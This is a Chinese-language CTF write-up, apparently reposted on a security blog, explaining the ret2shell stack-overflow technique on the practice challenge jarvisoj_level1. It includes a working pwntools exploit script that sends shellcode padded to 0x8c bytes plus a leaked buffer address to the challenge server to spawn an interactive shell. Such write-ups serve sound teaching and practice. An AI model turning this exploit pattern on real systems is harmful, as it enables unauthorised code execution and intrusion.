【PWN】ret2shell

admin 2024年10月15日12:53:14评论20 views字数 660阅读2分12秒阅读模式

原理 #

篡改栈帧上的返回地址为攻击者手动传入的shellcode所在缓冲区地址,并且该区域有执行权限。

例题 #

jarvisoj_level1,可在jarvisoj网站中下载。首先使用checksec工具查看它开了啥保护措施,基本全关,栈可执行。

【PWN】ret2shell

一样的使用ida查看一下该程序,在危险函数中,程序向我们输出了一个栈站上的地址因此我们可以朝buf写一段shellcode,然后
将返回地址覆盖为buf的地址。在pwntools中可以使用shellcraft.sh()写shellcode,再使用asm将其转换成机器码。

【PWN】ret2shell

ida帮我们计算出来了buf字符串距离rbp有0x88个字节,由于ebp本身还占4个字节,所以溢出0x8c个字节后将返回地址修改为buf地址,python有
个自带的方法ljust可以将我们的shellcode长度补充为固定字节,期作用是使shellcode左对齐,然后不足长度补齐指定数据。

from pwn import *

#p = process('./level1')
p = remote('pwn2.jarvisoj.com',9877)
s = p.recv()
addr = bytes.decode(s)[12:-2]

shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x8c,b'A') + p32(int(addr,16))

p.sendline(payload)
p.interactive()

123456789101112 - source:wiki.wgpsec.org

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月15日12:53:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【PWN】ret2shellhttps://cn-sec.com/archives/3270952.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息